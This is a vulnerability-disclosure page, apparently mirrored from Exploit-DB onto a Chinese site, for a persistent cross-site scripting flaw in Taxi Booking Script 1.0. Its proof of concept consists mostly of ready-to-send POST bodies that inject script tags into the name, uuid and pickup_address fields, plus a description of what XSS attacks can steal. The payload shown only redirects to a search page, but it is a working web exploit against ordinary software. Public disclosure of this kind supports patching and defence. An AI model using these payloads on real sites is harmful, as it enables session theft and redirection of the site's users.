漏洞概要

漏洞标题:
Taxi Booking Script 1.0 – Cross-site Scripting

提交时间:
2018-01-12

危害等级:

相关厂商:

漏洞分类:
exp公布

关注度:
共 14 人关注

漏洞详情

EDB-ID: 43543 Author: Tauco Published: 2018-01-12
CVE: N/A Type: Webapps Platform: PHP

E-DB Verified:
<a href="javascript:void(0);" data-trigger="focus" data-toggle="popover" data-placement="top" data-content='We make an effort to verify exploits (verifty) in our labs, when possible. A “non verified” exploit (marked by a clock icon clock) simply means we did not have the opportunity to test the exploit internally.’>
Waiting verification

Exploit:

Download Exploit Code Download

/

View Raw

Vulnerable App:
N/A
# # # # #
# Exploit Title: Taxi Booking Script v1.0 - Cross-site Scripting (XSS)

# Date: 11.01.2018
# Vendor Homepage: https://www.phpjabbers.com/taxi-booking-script/
# Software Link: 
# Demo: http://demo.phpjabbers.com/1515648238_792/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU01
# Version: 1.0
# Category: Webapps
# Tested on: Windows 10
# CVE: N/A
# # # # #
# Exploit Author: Tauco

Description:
===========================================================================
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. 

POC:

Exploit code(s):
===============

Persistent XSS:
1. user_update=1&id=2&role_id=1&email=admin%40a.com&password=1231231&name=<script>window.location='https://www.google.com/search?q=xss'</script>&phone=123131&status=T

2. booking_update=1&id=3&tab_id=tabs-1&uuid=<script>window.location='https://www.google.com/search?q=xss'</script>&booking_date=11-01-2018 13:06&pickup_address=<script>window.location='https://www.google.com/search?q=xss'</script>&return_address=Santa Fe 1236, Rosario, Santa Fe Province, Argentina&distance=123&fleet_id=1&passengers=1&luggage=1&extra_id[]=1&sub_total=374.40&tax=37.44&total=411.84&deposit=41.18&payment_method=bank&cc_type=&cc_num=&cc_exp_month=&cc_exp_year=&cc_code=&status=cancelled&client_id=5&c_fname=asd&c_lname=asd&c_phone=12&c_email=asda&c_company=dasdasd&c_address=asda&c_city=asdasd&c_state=asdasda&c_zip=1212&c_country=&c_notes=asdad&c_airline_company=adsad&c_flight_number=adsasd&c_flight_time=13:05&c_terminal=1


Severity Level:
=========================================================
High


Description:
==========================================================
 
 
Request Method(s):              [+]  POST & GET
 
 
Vulnerable Product:             [+]  Taxi Booking Script v1.0
 
 
Vulnerable Parameter(s):        [+]  name, uuid, pickup_address

发表评论

电子邮件地址不会被公开。 必填项已用*标注